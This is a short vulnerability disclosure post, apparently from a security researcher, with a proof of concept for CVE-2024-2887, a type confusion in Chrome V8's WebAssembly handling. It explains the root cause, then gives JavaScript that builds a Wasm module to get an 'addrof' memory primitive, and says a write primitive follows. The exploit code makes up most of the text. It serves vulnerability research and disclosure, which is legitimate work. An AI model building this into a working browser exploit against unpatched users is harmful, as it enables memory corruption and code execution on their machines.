author: @buptsb
2024-04-08 16:14:00
https://x.com/buptsb/status/1777248693273731308

This PoC is the FIRST public disclosure for this vulnerability.

Info

https://chromereleases.googleblog.com/2024/03/stable-channel-update-for-desktop_26.html
[N/A][330588502] High CVE-2024-2887: Type Confusion in WebAssembly. Reported by Manfred Paul, via Pwn2Own 2024 on 2024-03-21

https://chromium-review.googlesource.com/q/bug:330575498
https://chromium-review.googlesource.com/c/v8/v8/+/5378419

Analysis

Enum type HeapType::Representation start from kV8MaxWasmTypes:

Heaptypes below kV8MaxWasmTypes is “user-defined” types(for GC extension?)

We could create a StructType, which index is above kV8MaxWasmTypes, same with kExtern,
so this struct type could be confused with a js value whose type is ExternRef,
and the wasm decoder type checker would not complain.
image

PoC

Change kV8MaxWasmTypes from 1M->1K for debugging speedup...
image

const prefix = "...";
d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);

const builder = new WasmModuleBuilder();

// fill up user defined types in a rec group, so that the total ##type groups## is below kV8MaxWasmTypes
builder.startRecGroup();
for (let i = 0; i < 1000; i++) {
  builder.addType(kSig_i_iii);
}
builder.endRecGroup();

for (let i = 0; i <= 5; i++) {
  builder.addStruct([makeField(kWasmI32, true)]);
}
// tStruct is 1006, same with kWasmExternRef
let tStruct = builder.addStruct([
  makeField(kWasmI32, true),
]);

// create function type has kWasmExternRef as input, ret addr
let tFunc = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));

builder.addFunction('main', tFunc).addBody([
  kExprLocalGet, 0,
  // use `wasmSignedLeb` to wrap a value large than 0xFF
  kGCPrefix, kExprStructGet, ...wasmSignedLeb(tStruct), 0,
]).exportFunc();

const instance = builder.instantiate();

let sb = {foo:42};
%DebugPrint(sb);
%DebugPrint(instance.exports.main(sb));

%SystemBreak();

Now we have addrof, we could trigger a write using struct set.

image